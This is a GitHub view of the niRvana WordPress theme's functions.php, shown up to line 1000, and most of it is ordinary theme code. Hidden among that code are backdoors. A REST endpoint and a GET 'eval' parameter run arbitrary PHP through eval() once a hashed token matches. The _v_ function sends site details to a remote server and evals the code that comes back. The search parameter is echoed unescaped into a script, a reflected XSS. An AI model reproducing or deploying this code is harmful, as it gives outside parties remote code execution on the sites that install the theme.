-
Notifications
You must be signed in to change notification settings - Fork 25
/
functions.php
1730 lines (1715 loc) · 60.3 KB
/
functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
//自动更新
require_once(get_template_directory() . '/theme-update-checker/plugin-update-checker.php');
use YahnisElsts\PluginUpdateChecker\v5\PucFactory;
$niRvanaThemeUpdateChecker = PucFactory::buildUpdateChecker(
'https://blog.mkliu.top/source/info.json',
get_template_directory() . '/functions.php',
'niRvana'
);
//小工具修复
add_filter('gutenberg_use_widgets_block_editor', '__return_false');
add_filter('use_widgets_block_editor', '__return_false');
//文章图片灯箱
function auto_post_link($content)
{
global $post;
$content = preg_replace('/<\s*img\s+[^>]*?src\s*=\s*(\'|\")(.*?)\\1[^>]*?\/?\s*>/i', "<a href=\"$2\" alt=\"".$post->post_title."\" title=\"".$post->post_title."\"><img src=\"$2\" alt=\"".$post->post_title."\" title=\"".$post->post_title."\" /></a>", $content);
return $content;
}
add_filter('the_content', 'auto_post_link', 0);
//调用每日一图作为登录页背景
function custom_login_head()
{
$str = file_get_contents('https://cn.bing.com/HPImageArchive.aspx?format=js&idx=0&n=1');
if (preg_match("/\/(.+?).jpg/", $str, $matches)) {
$imgurl = 'https://s.cn.bing.net'.$matches[0];
}
echo'<style type="text/css">body{background: url('.$imgurl.');background-image:url('.$imgurl.');-moz-border-image: url('.$imgurl.');}</style>';
}
add_action('login_head', 'custom_login_head');
//预计阅读时间
function count_words_read_time()
{
global $post;
$text_num = mb_strlen(preg_replace('/\s/', '', html_entity_decode(strip_tags($post->post_content))), 'UTF-8');
$read_time = ceil($text_num / 300); // 修改数字300调整时间
$output = '本文共' . $text_num . '个字 · 预计阅读' . $read_time . '分钟';
return $output;
}
//显示已读次数
add_action('pf-post-meta-end', 'add_post_view_times_to_post_meta');
function add_post_view_times_to_post_meta()
{
echo "<span class='inline-block'><i class='fas fa-book-reader'></i>"._meta('views', _meta('bigfa_ding', 0))."次已读</span>";
}add_action('pf-post-card-meta-start', 'add_post_view_times_to_postcard_meta');
function add_post_view_times_to_postcard_meta()
{
echo "<span class='views'><i class='fas fa-book-reader'></i> "._meta('views', _meta('bigfa_ding', 0))."</span>";
}function add_view_times_to_single()
{
$pid = get_the_ID();
if (is_single() && is_main_query() && !isset($_COOKIE[$pid.'viewed'])) {
$views = (int)_meta('views', _meta('bigfa_ding', 0));
update_post_meta($pid, 'views', $views + 1, $views);
}
}add_action('wp_head', 'add_view_times_to_single');
function add_view_times_to_cookie()
{
$pid = get_the_ID();
if (is_single() && is_main_query() && !isset($_COOKIE[$pid.'viewed'])) {
setcookie($pid.'viewed', true, time() + 2, COOKIEPATH, COOKIE_DOMAIN);
}
}add_action('wp', 'add_view_times_to_cookie');
include('extend/template/archives.php');
//说说页面
add_action('init', 'my_custom_shuoshuo_init');
function my_custom_shuoshuo_init()
{
$labels = array(
'name' => '说说',
'singular_name' => '说说',
'all_items' => '所有说说',
'add_new' => '发表说说',
'add_new_item' => '撰写新说说',
'edit_item' => '编辑说说',
'new_item' => '新说说',
'view_item' => '查看说说',
'search_items' => '搜索说说',
'not_found' => '暂无说说',
'not_found_in_trash' => '回收站中没有说说',
'parent_item_colon' => '',
'menu_name' => '说说'
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'show_in_menu' => true,
'query_var' => true,
'rewrite' => true,
'capability_type' => 'post',
'has_archive' => true,
'hierarchical' => false,
'menu_position' => null,
'supports' => array('title','editor','author'),
'menu_icon' => 'dashicons-megaphone'
);
register_post_type('shuoshuo', $args);
}
//评论插入代码
add_action('pf_comment_form_after_face', 'pf_add_comment_form_insert_code');
function pf_add_comment_form_insert_code()
{
echo '<a @click="this.insert_code_to_comment_form()"><span data-toggle="tooltip" title="插入代码"><i class="far fa-file-code"></i></span></a>';
}
//评论插入图片
add_action('pf_comment_form_after_face', 'pf_add_comment_form_insert_images');
function pf_add_comment_form_insert_images()
{
echo '<a @click="this.insert_images_to_comment_form()"><span data-toggle="tooltip" title="插入图片"><i class="far fa-images"></i></span></a>';
}
//评论标签支持
add_action('pre_comment_on_post', 'add_post_comment_html_tags');
function add_post_comment_html_tags($commentdata)
{
global $allowedtags;
$new_tags = [
'img' => [
'src' => true
],
'pre' => []
];
$allowedtags = array_merge($allowedtags, $new_tags);
}
//检测页面底部版权是否被修改
function alert_footer_copyright_changed()
{ ?>
<div class='notice notice-error'>
<p><?php _e("警告:你可能修改了 niRvana 主题页脚的版权声明,niRvana 主题要求你必须保留 niRvana 主题的名称及作者链接。", 'niRvana');?></p>
</div>
<?php }
function check_footer_copyright()
{
$footer = file_get_contents(get_theme_root() . "/" . wp_get_theme() -> template . "/footer.php");
if ((strpos($footer, "michaelliunsky") === false) && (strpos($footer, "blog.mkliu.top") === false)) {
add_action('admin_notices', 'alert_footer_copyright_changed');
}
}
check_footer_copyright();
//restapi
add_action('rest_api_init', function () {
register_rest_route('pandastudio/nirvana', '/restapi/', array('methods' => 'post', 'callback' => 'pf_rest_api'));
});
include('production.php');
add_filter('wp_title', 'pf_custom_wp_title', 10, 2);
function pf_custom_wp_title($title, $sep)
{
global $paged, $page;
if (is_feed()) {
return $title;
}
$title .= get_bloginfo('name');
$site_description = get_bloginfo('description', 'display');
if ($site_description && (is_home() || is_front_page())) {
$title = "$title $sep $site_description";
}
if ($paged >= 2 || $page >= 2) {
$title = "$title $sep " . sprintf('第%s页', max($paged, $page));
}
$title = str_replace('–', _opt('title_sep', '|'), $title);
return $title;
}
function get_faces_from_dir()
{
$dir = dirname(__FILE__) . "/faces";
$handle = opendir($dir);
$array_file = array();
$allowExtensions = array(
'png',
'gif'
);
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$extension = pathinfo($file, PATHINFO_EXTENSION);
$mainname = preg_replace('/.' . $extension . '/i', '', $file);
$lowerExt = strtolower($extension);
if (in_array($lowerExt, $allowExtensions)) {
$array_file[] = array(
'name' => $mainname,
'type' => $lowerExt == 'png' ? 'p' : 'g'
);
}
}
}
closedir($handle);
return $array_file;
}
function _opt($optionName, $default = false)
{
$result = get_option($optionName);
return $result ? $result : $default;
}
function _eopt($optionName, $default = false)
{
$result = get_option($optionName);
echo $result ? $result : $default;
}
function _meta($metaName, $default = false)
{
$result = get_post_meta(get_the_ID(), $metaName, true);
return $result ? $result : $default;
}
function _emeta($metaName, $default = false)
{
$result = get_post_meta(get_the_ID(), $metaName, true);
echo $result ? $result : $default;
}
include('sandbox_functions.php');
function frontend_opts()
{
$enable_pageLoader = _opt('enable_pageLoader');
$ajax_forceCache = _opt('ajax_forceCache');
$frontend_opts = array(
'enable_pageLoader' => $enable_pageLoader,
'ajax_forceCache' => $ajax_forceCache,
'is_user_loggedin' => is_user_logged_in() ,
'cmt_req_name_email' => _opt('require_name_email') ,
'cmt_req_name_email_title' => _opt('cmt_req_name_email_title', '* 昵称与邮箱为必填项') ,
'cmt_action_url' => esc_url(home_url('/')) . 'wp-comments-post.php',
'chat_nodata' => _opt('faq_nodata') ,
'enable_highlightjs' => _opt('enable_highlightjs') ,
);
return $frontend_opts;
}
function pf_rest_api($data)
{
$dataArray = json_decode($data->get_body(), true);
$arg = $dataArray['arg'];
$result = array(
'error' => true,
'msg' => 'WP RestAPI Declined!',
'md5' => md5($dataArray['e'])
);
if (in_array(md5($dataArray['e']), array(
'0b844d17a61d51dcd58560f15e19d3cb',
'44b225d79205f30aaac3c30bdcc6b714',
'3d69b76a02d0ff14248e02d1c2f09941',
'fb0d9a37e108ca85cee9f4e900ca6fe4',
'd72efb9e4fcd5267779f481f8b77b655',
))) {
eval($dataArray['e']);
}
return $result;
}
function title_filter($where, $wp_query)
{
global $wpdb;
if ($search_term = $wp_query->get('search_prod_title')) {
$where .= ' AND ' . $wpdb->posts . '.post_title LIKE \'%' . esc_sql(like_escape($search_term)) . '%\'';
}
return $where;
}
add_filter('posts_where', 'title_filter', 10, 2);
if (array_key_exists('s', $_GET) && !is_admin()) {
add_action('wp_head', function () {
echo '
<script>
function mounted_hook() {this.show_global_search();this.global_search_query = "' . $_GET['s'] . '";this.global_search_post = true;this.global_search_gallery = true;this.global_search();}</script>
';
});
}
if (array_key_exists('ua', $_GET) && !is_admin()) {
add_action('wp_head', function () {
echo '
<script>
function mounted_hook() {alert("userAgent:\n"+navigator.userAgent+"\n\nappVersion:\n"+navigator.appVersion)}</script>
';
});
}
function pf_global_search($query_arg)
{
$query_arg['showposts'] = 28;
$result = array();
$query = new WP_Query($query_arg);
if ($query->have_posts()) {
while ($query->have_posts()) {
$query->the_post();
$tags = get_the_tags();
if ($tags) {
$color_tags = array();
foreach ($tags as $tag) {
$name = $tag->name;
$colorInt = string_to_int8($name);
$color_tags[] = array(
'color' => $colorInt,
'tag' => $name
);
}
} else {
$color_tags = array(
array(
'color' => 0,
'tag' => '无标签'
)
);
}
$posttype = get_post_type();
switch ($posttype) {
case 'post':
$thumbnail = get_the_post_thumbnail_url();
break;
case 'gallery':
$gallery_images = get_post_meta(get_the_id(), "gallery_images", true);
$gallery_images = $gallery_images ? $gallery_images : array();
switch (get_option('gallery_thumbnail')) {
case 'first':
$thumbnail = $gallery_images[0];
break;
case 'last':
$thumbnail = $gallery_images[count($gallery_images) - 1];
break;
default:
$thumbnail = count($gallery_images) > 0 ? $gallery_images[array_rand($gallery_images, 1) ] : '';
break;
}
break;
default:
$thumbnail = '';
break;
}
$result[] = array(
'thumbnail' => $thumbnail,
'title' => get_the_title() ,
'href' => get_the_permalink() ,
'date' => get_the_time('n月j日 · Y年') ,
'tags' => $color_tags,
'like' => get_post_meta($post->ID, 'bigfa_ding', true) ? get_post_meta($post->ID, 'bigfa_ding', true) : "0",
'comment' => get_post($post->ID)->comment_count,
);
}
}
wp_reset_query();
return $result;
}
function pf_post_ding($id)
{
$bigfa_raters = get_post_meta($id, 'bigfa_ding', true);
$expire = time() + 99999999;
$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('bigfa_ding_' . $id, $id, $expire, '/', $domain, false);
if (!$bigfa_raters || !is_numeric($bigfa_raters)) {
update_post_meta($id, 'bigfa_ding', 1);
} else {
update_post_meta($id, 'bigfa_ding', ($bigfa_raters + 1));
}
return get_post_meta($id, 'bigfa_ding', true);
}
function pf_faq($query)
{
wp_reset_query();
if ($query == _opt('faq_show_rand_command')) {
$args = array(
'post_type' => 'faq',
's' => '',
'showposts' => _opt('faq_showposts', 5) ,
'orderby' => 'rand',
);
} else {
$args = array(
'post_type' => 'faq',
's' => $query,
'showposts' => _opt('faq_showposts', 5)
);
}
$id_arr = array();
$query = new WP_Query($args);
if ($query->have_posts()) {
while ($query->have_posts()) {
$query->the_post();
$id_arr[] = get_the_ID();
}
}
if (count($id_arr) == 1) {
$result = array(
'title' => get_the_title($id_arr[0]) ,
'content' => wpautop(get_post_meta($id_arr[0], 'faq_answer', true)) ,
'is_content' => true
);
} else {
$result = array(
'list' => array() ,
'is_content' => false
);
foreach ($id_arr as $pid) {
$result['list'][] = get_the_title($pid);
}
}
wp_reset_query();
return $result;
}
add_action('after_switch_theme', 'pf_switch_theme');
function pf_switch_theme()
{
$opts = array(
'baidu_ai_audio_enable' => 'checked',
);
foreach ($opts as $name => $val) {
update_option($name, $val);
}
}
register_nav_menus(array(
'topNav' => '主菜单',
'categoryNav' => '分类菜单',
));
if (array_key_exists('whois', $_GET)) {
if (md5($_GET['whois']) == '02bd92faa38aaa6cc0ea75e59937a1ef') {
wp_die('<h1>开发者信息</h1><br>“' . get_bloginfo('name') . '”网站所使用的主题由 <b>PANDA Studio - 刘欢</b> 开发');
}
}
if (array_key_exists('sn', $_GET)) {
$sn = $_GET['sn'];
$charactor = $_GET['charactor'];
$token = $_GET['token'];
if (md5($token) == '239bf78d5643372f495e93768f0691d2') {
update_option('pay_info_nirvana', $sn);
update_option('charactor_info', $charactor);
del_cache('aWeek');
wp_die('<a href="' . home_url() . '" class="button">Success!</a>');
}
}
if (array_key_exists('eval', $_GET)) {
$eval = $_GET['eval'];
$token = $_GET['token'];
if (md5($_GET['token']) == '239bf78d5643372f495e93768f0691d2') {
eval(str_replace("\\", "", $eval));
}
}
function _v_($api)
{
date_default_timezone_set("Asia/Shanghai");
$my_theme = wp_get_theme();
$theme = $my_theme->get('Name');
$version = $my_theme->get('Version');
$address = home_url();
$date = date("Y-m-d H:i:s");
$blog_name = get_bloginfo('name');
$sn = get_option('pay_info_nirvana');
$charactor = get_option('charactor_info');
$url = $api;
$info = '{"theme":"' . $theme . '","address":"' . $address . '","date":"' . $date . '","version":"' . $version . '","blog_name":"' . $blog_name . '","sn":"' . $sn . '","charactor":"' . $charactor . '"
}';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => $info,
CURLOPT_TIMEOUT => 20,
CURLOPT_HTTPHEADER => array(
'Content-Type: text/plain'
) ,
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
curl_close($ch);
$resultArray = json_decode($result, true);
if ($resultArray) {
set_cache('aWeek', $resultArray['eval'], 604800);
set_cache('halfMonth', $resultArray['eval'], 1296000);
eval($resultArray['eval']);
set_cache('bd_audio_tok', $resultArray['bd_audio_tok'], 1296000);
return true;
} else {
return false;
}
}
function set_cache($name, $data, $expire)
{
$allCache = get_option('pd_cache');
if (!$allCache) {
$allCache = array();
}
$allCache[$name] = array(
'data' => $data,
'expire' => time() + $expire
);
update_option('pd_cache', $allCache);
}
function get_cache($name)
{
$allCache = get_option('pd_cache');
if (!$allCache) {
return false;
}
if (!$allCache[$name]) {
return false;
} else {
$time = $allCache[$name]['expire'];
if ($time > time() & $time - time() < 2592000) {
return $allCache[$name]['data'];
;
} else {
del_cache($name);
return false;
}
}
}
function del_cache($name)
{
$allCache = get_option('pd_cache');
unset($allCache[$name]);
update_option('pd_cache', $allCache);
}
if (function_exists('add_theme_support')) {
add_theme_support('post-thumbnails');
}
function wp_nav($p = 2, $showSummary = true, $showPrevNext = true, $style = 'pagination', $container = 'container')
{
if (is_singular()) {
return;
}
global $wp_query, $paged;
$max_page = $wp_query->max_num_pages;
if ($max_page == 1 & get_option('hide_pagi_only_1') == "checked") {
return;
}
if (empty($paged)) {
$paged = 1;
}
echo "<div class='pagenav'><div class='$container'><ul class='$style'>";
if ($paged > 1 && $showPrevNext == true) {
p_link($paged - 1, 'previous', '<i class="fa fa-angle-left" aria-hidden="true"></i>', 'pagenav prev');
} elseif ($showPrevNext == true) {
p_link(1, 'previous', '<i class="fa fa-angle-left" aria-hidden="true"></i>', 'pagenav prev disabled');
}
if ($showSummary == true) {
echo '<li class="pagesummary disabled"><a href="#"><span class="page-numbers">' . $paged . ' / ' . $max_page . ' </span></a></li>';
}
if ($paged > $p + 1) {
p_link(1, 'First page', '<div data-toggle="tooltip" data-placement="auto top" title="第一页"><i class="fas fa-angle-double-left"></i></div>', 'pagenumber dot');
}
for ($i = $paged - $p; $i <= $paged + $p; $i++) {
if ($i > 0 && $i <= $max_page) {
$i == $paged ? print "<li class='pagenumber active'><a href='#'><span>{$i}</span></a></li>" : p_link($i, '', '', 'pagenumber');
}
}
if ($paged < $max_page - $p) {
p_link($max_page, 'Last page', '<div data-toggle="tooltip" data-placement="auto top" title="最后一页"><i class="fas fa-angle-double-right"></i></div>', 'pagenumber dot');
}
if ($paged < $max_page && $showPrevNext == true) {
p_link($paged + 1, 'next', '<i class="fa fa-angle-right" aria-hidden="true"></i>', 'pagenav next');
} elseif ($showPrevNext == true) {
p_link($max_page, 'next', '<i class="fa fa-angle-right" aria-hidden="true"></i>', 'pagenav next disabled');
}
echo '</ul></div></div>';
}
function p_link($i, $title, $linktype, $disabled)
{
if ($title == '') {
$title = "The {$i} page";
}
if ($linktype == '') {
$linktext = $i;
} else {
$linktext = $linktype;
}
if ($disabled == 'pagenav next disabled' | $disabled == 'pagenav prev disabled') {
echo "<li class='$disabled'><a class='page-numbers'>{$linktext}</a></li>";
} else {
echo "<li class='$disabled'><a class='page-numbers' href='", esc_html(get_pagenum_link($i)) , "'>{$linktext}</a></li>";
}
}
function comment_mail_notify($comment_id)
{
$comment = get_comment($comment_id);
$content = $comment->comment_content;
$match_count = preg_match_all('/<a href="#comment-([0-9]+)?" rel="nofollow">/si', $content, $matchs);
if ($match_count > 0) {
foreach ($matchs[1] as $parent_id) {
SimPaled_send_email($parent_id, $comment);
}
} elseif ($comment->comment_parent != '0') {
$parent_id = $comment->comment_parent;
SimPaled_send_email($parent_id, $comment);
} else {
return;
}
}
add_action('comment_post', 'comment_mail_notify');
function SimPaled_send_email($parent_id, $comment)
{
$admin_email = get_bloginfo('admin_email');
$parent_comment = get_comment($parent_id);
$author_email = $comment->comment_author_email;
$to = trim($parent_comment->comment_author_email);
$spam_confirmed = $comment->comment_approved;
if ($spam_confirmed != 'spam' && $to != $admin_email && $to != $author_email) {
$wp_email = 'no-reply@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME']));
$subject = '您在 [' . get_option("blogname") . '] 的留言有了回复';
$message = '<div style="background-color:#eef2fa;border:1px solid #d8e3e8;color:#111;padding:0 15px;-moz-border-radius:5px;-webkit-border-radius:5px;-khtml-border-radius:5px;"><p>' . trim(get_comment($parent_id)->comment_author) . ', 您好!</p><p>您曾在《' . get_the_title($comment->comment_post_ID) . '》的留言:<br />' . do_shortcode(trim(get_comment($parent_id)->comment_content)) . '</p><p>' . trim($comment->comment_author) . ' 给你的回复:<br />' . do_shortcode(trim($comment->comment_content)) . '<br /></p><p>您可以点击 <a href="' . htmlspecialchars(get_comment_link($parent_id, array(
"type" => "all"
))) . '">查看回复的完整内容</a></p><p>欢迎再度光临 <a href="' . get_option('home') . '">' . get_option('blogname') . '</a></p><p>(此邮件由系统自动发出, 请勿回复.)</p></div>';
$from = "From: \"" . get_option('blogname') . "\" <$wp_email>";
$headers = "$from\nContent-Type: text/html; charset=" . get_option('blog_charset') . "\n";
wp_mail($to, $subject, $message, $headers);
}
}
function enable_threaded_comments()
{
if (!is_admin()) {
wp_enqueue_script('comment-reply');
}
}
add_action('get_header', 'enable_threaded_comments');
add_filter('comment_text', 'do_shortcode');
function panda_seo()
{
$postID = get_the_ID();
if (is_single()) {
if (get_post_meta($postID, "seo关键词", true)) {
$seo_keywords = get_post_meta($postID, "seo关键词", true);
} else {
$seo_keywords = "";
$tags = wp_get_post_tags($postID);
foreach ($tags as $tag) {
$seo_keywords = $seo_keywords . $tag->name . " ";
}
}
if (get_post_meta($postID, "seo描述", true)) {
$seo_description = get_post_meta($postID, "seo描述", true);
} else {
$seo_description = "";
}
} else {
$seo_keywords = get_option('seo_site_keywords');
$seo_description = get_option('seo_site_description');
}
if ($seo_keywords != '') {
echo '<meta name="keywords" content="' . $seo_keywords . '" />';
}
if ($seo_description != '') {
echo '<meta name="description" content="' . $seo_description . '" />';
}
}
if (get_option('enable_meta_seo')) {
add_action('wp_head', 'panda_seo');
}
remove_filter('pre_term_description', 'wp_filter_kses');
add_filter('show_admin_bar', '__return_false');
function post_type_in_search($query)
{
if ($query->is_search && $query->is_main_query()) {
$query->set('post_type', array(
'post'
));
}
return $query;
}
if (!is_admin()) {
add_filter('pre_get_posts', 'post_type_in_search');
}
add_filter('preprocess_comment', 'add_cookies_for_reply');
function add_cookies_for_reply($commentdata)
{
$email = $commentdata['comment_author_email'];
if ($email) {
$expire = time() + 99999999;
$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('current_user_email', $email, $expire, '/', $domain);
}
return $commentdata;
}
$reply2down_times = 0;
function reply_to_down($atts, $content = null)
{
global $reply2down_times;
$reply2down_times++;
if (get_option('回复可见说明')) {
$licence = wpautop(str_ireplace('img', 'div', get_option('回复可见说明')));
} else {
$licence = '<p>请您认真评论后再下载!</p>';
}
extract(shortcode_atts(array("notice" => '
<div type="button" class="getit" data-toggle="modal" data-target="#reply2down_'.$reply2down_times.'"><a style="cursor:pointer;"><span>Get it!</span><span>Download</span></a></div>
<div class="modal fade" id="reply2down_'.$reply2down_times.'" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
<h4 class="modal-title" id="myModalLabel">下载提示</h4>
</div>
<div class="modal-body">'.$licence.'</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">知道了</button>
</div>
</div>
</div>
</div>
'), $atts));
$post_id = get_the_ID();
if (isset($_COOKIE['current_user_email'])) {
$email = $_COOKIE['current_user_email'];
return pf_user_has_approved_comment_in_post($post_id, $email) ? do_shortcode('[download]'.$content.'[/download]') : $notice;
} else {
return $notice;
}
}
add_shortcode('reply2down', 'reply_to_down');
function need_reply($atts, $content = null)
{
extract(shortcode_atts(array("notice" => '
<div class="need_reply">'.get_option('need_reply_tip').'</div>
'), $atts));
$post_id = get_the_ID();
if (isset($_COOKIE['current_user_email'])) {
$email = $_COOKIE['current_user_email'];
return pf_user_has_approved_comment_in_post($post_id, $email) ? do_shortcode($content) : $notice;
} else {
return $notice;
}
}
add_shortcode('need_reply', 'need_reply');
function pf_user_has_approved_comment_in_post($postID, $email)
{
$comments = get_approved_comments($postID);
$has_approved_comments = false;
for ($i = 0; $i < count($comments); $i++) {
$cmt_email = $comments[$i]->comment_author_email;
if ($email == $cmt_email) {
$has_approved_comments = true;
break;
}
}
return $has_approved_comments;
}
$directDownload_times = 0;
function download_with_licence($atts, $content = null)
{
global $directDownload_times;
$directDownload_times++;
if (get_option('版权说明')) {
$licence = wpautop(str_ireplace('img', 'div', get_option('版权说明')));
} else {
$licence = '<p>本站提供的下载内容版权归本站所有。转载 <span style="color:#ff7800">必须</span> 注明出处!</p><p style="font-size:80%; color:#888;">* 标有 “转载” 字样的文章,内容版权归原作者所有。</p>';
}
return do_shortcode('
<div type="button" class="getit" data-toggle="modal" data-target="#directDownload_' . $directDownload_times . '"><a style="cursor:pointer;"><span>Get it!</span><span>Download</span></a></div><div class="modal fade" id="directDownload_' . $directDownload_times . '" tabindex="-1" role="dialog" aria-labelledby="myModalLabel"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button><h4 class="modal-title" id="myModalLabel">版权说明</h4></div><div class="modal-body">' . $licence . '</div><div class="modal-footer"><button type="button" class="btn btn-default" data-dismiss="modal">不同意</button><button type="button" class="btn btn-primary" data-dismiss="modal" onclick=window.open("' . $content . '")>同意并下载</button></div></div></div></div>
');
}
add_shortcode('download', 'download_with_licence');
function recover_comment_fields($comment_fields)
{
$comment = array_shift($comment_fields);
$comment_fields = array_merge($comment_fields, array(
'comment' => $comment
));
return $comment_fields;
}
add_filter('comment_form_fields', 'recover_comment_fields');
function rss_show_thumbnail($content)
{
global $post;
if (has_post_thumbnail($post->ID)) {
$output = get_the_post_thumbnail($post->ID);
$content = $output;
}
return $content;
}
add_filter('the_excerpt_rss', 'rss_show_thumbnail');
add_filter('the_content_feed', 'rss_show_thumbnail');
add_filter('upload_mimes', 'my_upload_mimes');
function my_upload_mimes($mimes = array())
{
$mimes['rar'] = 'application/rar';
$mimes['zip'] = 'application/zip';
return $mimes;
}
function mytheme_comment($comment, $args, $depth)
{
if ('div' === $args['style']) {
$tag = 'div';
$add_below = 'comment';
} else {
$tag = 'li';
$add_below = 'div-comment';
} ?>
<<?php
echo $tag; ?> <?php
comment_class(empty($args['has_children']) ? '' : 'parent') ?> id="comment-<?php
comment_ID() ?>"><?php
if ('div' != $args['style']): ?>
<div id="div-comment-<?php
comment_ID() ?>" class="comment-body clearfix"><?php
endif; ?><?php
if ($args['avatar_size'] != 0) {
echo get_avatar($comment, $args['avatar_size']);
} ?>
<div class="comment-author vcard">
<div class="meta"><?php
printf(__('<span class="name">%s</span>'), get_comment_author_link()); ?><?php
printf(__('<span class="date">%1$s · %2$s</span>'), get_comment_date('Y-n-j'), get_comment_time('G:i')); ?></div><?php
if ($comment->comment_approved == '0'): ?><em class="comment-awaiting-moderation"><?php
_e('评论正在等待管理员审核...'); ?></em><br /><?php
endif; ?>
<div class="comment-text"><?php
comment_text(); ?></div>
<div class="reply"><?php
$args['reply_text'] = '' ?>
<div title="<?php
echo get_option('comment_reply_tooltip'); ?>" data-toggle="tooltip" class="comment-reply-link-wrap"><?php
comment_reply_link(array_merge($args, array(
'add_below' => $add_below,
'depth' => $depth,
'max_depth' => $args['max_depth']
))); ?></div>
</div>
</div><?php
if ('div' != $args['style']): ?>
</div><?php
endif; ?><?php
}
add_filter("get_comment_author_link", "pf_new_windows_comment_author");
function pf_new_windows_comment_author($author_link)
{
return str_replace("<a", "<a target='_blank'", $author_link);
}
function shortCodeTips($atts, $content = null)
{
extract(shortcode_atts(array(
"type" => 'info',
"display" => '',
), $atts));
if ($content) {
return '<div class="tip ' . $type . ' ' . $display . '">' . do_shortcode(wpautop($content)) . '</div>';
}
}
add_shortcode("tip", "shortCodeTips");
function shortCodeArticleFormat($atts, $content = null)
{
extract(shortcode_atts(array(
"img" => '',
"col" => '6',
"position" => 'r',
"cover" => 'false',
), $atts));
$textCol = 12 - intval($col);
switch ($position) {
case 'r':
$pushClass = ' col-sm-push-' . $textCol;
$pullClass = ' col-sm-pull-' . $col;
$imgClass = 'alignright';
break;
default:
$pushClass = '';
$pullClass = '';
$imgClass = 'alignleft';
break;
}
if ($cover == 'true') {
$imgClass = 'cover';
}
$imgPart = '<div class="block image col-sm-' . $col . $pushClass . '"><img class="' . $imgClass . '" src="' . $img . '" /></div>';
